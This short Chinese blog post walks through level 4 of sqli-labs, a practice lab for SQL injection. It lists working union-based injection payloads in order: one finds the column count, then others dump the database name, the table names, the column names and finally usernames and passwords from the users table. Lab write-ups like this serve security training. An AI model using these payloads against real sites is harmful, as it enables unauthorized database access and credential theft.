sqli-labs 第四关

时间:2020-10-10 17:04:59   收藏:0   阅读:27

一开始随便注了一下,发现和第三关类似,只是从单引号变成了双引号。

技术图片

 

继续注入,与第三关类似。

 技术图片

 

然后判断列数,直接 ?id=3") order by 4--+

技术图片

 

 发现它还是三列,然后就继续爆库名

?id=-3") union select 1,2,database()--+

爆表名

?id=-3") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

爆字段名

?id=-3") union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users‘--+

 爆数据

?id=-3") union select 1,2,group_concat(0x5c,username,0x5c,password)from users--+

sqlmap 不做解释

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!